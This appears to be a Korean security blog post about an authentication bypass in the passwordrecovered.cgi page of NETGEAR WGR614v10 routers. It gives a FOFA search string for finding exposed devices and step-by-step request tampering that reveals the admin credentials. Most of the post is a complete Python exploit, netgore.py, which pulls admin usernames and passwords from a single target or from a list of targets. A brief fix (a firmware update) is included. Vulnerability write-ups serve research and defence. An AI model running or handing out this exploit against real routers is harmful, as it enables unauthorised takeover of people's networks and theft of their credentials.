1. 개념
NETGEAR는 미국 캘리포니아주 산호세에 본사를 둔 글로벌 컴퓨터 네트워킹 회사이다.
2. 취약점 설명
Netgear WGR614v10은 무선 라우터 제품이고 펌웨어 V1.0.2 이하를 사용하는 NETGEAR WGR614v10의 passwordrecovered.cgi에 인증 우회 취약점이 존재한다.
FOFA: "WGR614v10"
3.PoC (Proof Of Concept)
1) 로그인 시도를 통해 id 값 확인
WGR614v10 라우터의 관리 인터페이스 페이지로 접근한 후 로그인을 하지 않고 취소 버튼을 누른다.
취소 버튼을 누르면 인증이 실패하여 401 에러 페이지로 리다이렉트 되게 된다.
401 Unauthorized Error 란?
해당 리소스에 유효한 인증 자격 증명이 없기 때문에 요청이 적용되지 않았음을 나타낸다.
위에서 확인한 통신에 대한 Response 값을 Burpsuite 통해 확인해보면 로그인 취소를 할 경우 POST 전송을 통해 unauth.cgi로 이동하고 id 값을 함께 전송하는 것을 확인할 수 있다.
1.1) Request
1.2) Response
2) 변조된 패킷 전송
이전 과정을 통해 ID 값을 확인했다면 POST 전송을 통해 unauth.cgi?id=값 으로 이동하는 경로를 passwordrecovered.cgi?id=값으로 변경한 후 해당 Request Payload를 Forward 한다.
2.1) Request
POST /passwordrecovered.cgi?id=117034925 HTTP/1.1 |
2.2) Response
응답 페이지를 확인해보면 관리자 ID와 관리자 패스워드가 노출되는 것을 확인할 수 있다.
요청 패킷을 변조하지 않고 unauth.cgi로 이동할 경우 초기 패스워드를 알려주고 공장 초기화하는 방법을 설명하는 페이지가 출력된다.
3) 인증 우회 확인
이전 과정에서 확인한 ID, 패스워드를 통해 로그인을 하면 관리 인터페이스에 접근이 가능한 것을 확인할 수 있다.
4. 대응 방안
최신 펌웨어로 업데이트 수행한다.
업데이트를 수행한 기기의 경우 401 에러에 ID 값이 출력되지 않는 것을 확인할 수 있다.
5. Exploit Code
코드를 실행하면 Token 값 ID, 패스워드가 출력되는 것을 확인할 수 있다.
#python3 netgore.py [IP Address] [Port Number]
1) Code
## netgore.py
import sys
import requests
def scrape(text, start_trig, end_trig):
if text.find(start_trig) != -1:
return text.split(start_trig, 1)[-1].split(end_trig, 1)[0]
else:
return "i_dont_speak_english"
def exp1(ip,port):
#disable nasty insecure ssl warning
requests.packages.urllib3.disable_warnings()
#1st stage - get token
# ip = sys.argv[1]
# port = sys.argv[2]
url = 'http://' + ip + ':' + port + '/'
try:
r = requests.get(url)
except:
url = 'https://' + ip + ':' + port + '/'
r = requests.get(url, verify=False)
model = r.headers.get('WWW-Authenticate')
if model is not None:
print("Attcking: " + model[13:-1])
else:
print("not a netgear router")
#sys.exit(0)
token = scrape(r.text, 'unauth.cgi?id=', '\"')
if token == 'i_dont_speak_english':
print("not vulnerable")
#sys.exit(0)
return
print("token found: " + token)
#2nd stage - pass the token - get the password
url = url + 'passwordrecovered.cgi?id=' + token
r = requests.post(url, verify=False)
#profit
if r.text.find('left\">') != -1:
username = (repr(scrape(r.text, 'Router Admin Username</td>', '</td>')))
username = scrape(username, '>', '\'')
password = (repr(scrape(r.text, 'Router Admin Password</td>', '</td>')))
password = scrape(password, '>', '\'')
if username == "i_dont_speak_english":
username = (scrape(r.text[r.text.find('left\">'):-1], 'left\">', '</td>'))
password = (scrape(r.text[r.text.rfind('left\">'):-1], 'left\">', '</td>'))
else:
print("not vulnerable becuse password recovery IS set")
# sys.exit(0)
return
#html encoding pops out of nowhere, lets replace that
password = password.replace("#","#")
password = password.replace("&","&")
print("user: " + username)
print("pass: " + password)
def exp2(ip,port):
#disable nasty insecure ssl warning
requests.packages.urllib3.disable_warnings()
#1st stage
# ip = sys.argv[1]
# port = sys.argv[2]
url = 'http://' + ip + ':' + port + '/'
try:
r = requests.get(url)
except:
url = 'https://' + ip + ':' + port + '/'
r = requests.get(url, verify=False)
model = r.headers.get('WWW-Authenticate')
if model is not None:
print("Attcking: " + model[13:-1])
else:
print("not a netgear router")
#sys.exit(0)
return
#2nd stage
url = url + 'passwordrecovered.cgi?id=get_rekt'
try:
r = requests.post(url, verify=False)
except:
print("not vulnerable router")
#sys.exit(0)
#profit
if r.text.find('left\">') != -1:
username = (repr(scrape(r.text, 'Router Admin Username</td>', '</td>')))
username = scrape(username, '>', '\'')
password = (repr(scrape(r.text, 'Router Admin Password</td>', '</td>')))
password = scrape(password, '>', '\'')
if username == "i_dont_speak_english":
username = (scrape(r.text[r.text.find('left\">'):-1], 'left\">', '</td>'))
password = (scrape(r.text[r.text.rfind('left\">'):-1], 'left\">', '</td>'))
else:
print("not vulnerable router, or some one else already accessed passwordrecovered.cgi, reboot router and test again")
return
# sys.exit(0)
#html encoding pops out of nowhere, lets replace that
password = password.replace("#","#")
password = password.replace("&","&")
print("user: " + username)
print("pass: " + password)
if __name__ == "__main__":
if len(sys.argv) > 1:
ip = sys.argv[1]
port = sys.argv[2]
print('---------start------------')
print('target',ip,port)
print('---------exp1------------')
exp1(ip,port)
print('---------exp2------------')
exp2(ip,port)
else:
f = open('target.txt')
for line in f:
line = line.strip()
l = line.split(' ')
if len(l) > 1:
#print l
ip = l[0]
port = l[2]
print('---------start------------')
print('target',ip,port)
print('---------exp1------------')
exp1(ip,port)
print('---------exp2------------')
exp2(ip,port)
f.close()
'Hacking & Security > Vulnerability' 카테고리의 다른 글
FortiOS SSL VPN Directory Traversal Vulnerability (CVE-2018-13379) (0) | 2020.12.16 |
---|---|
Cisco ASA Read Only Path Traversal Vulnerability (CVE-2020-3452) (0) | 2020.10.04 |
NetGear_DGN2200 ping.cgi RCE Vulnerability (CVE-2017-6077) (0) | 2020.10.03 |
DrayTek Vigor RCE Vulnerability (CVE-2020-8515) (3) | 2020.10.03 |
Netlink GPON RCE Vulnerability (CVE-2018-10562) (4) | 2020.10.01 |
공부&일상 블로그
포스팅이 좋았다면 "좋아요❤️" 또는 "구독👍🏻" 해주세요! 질문은 언제나 환영입니다😊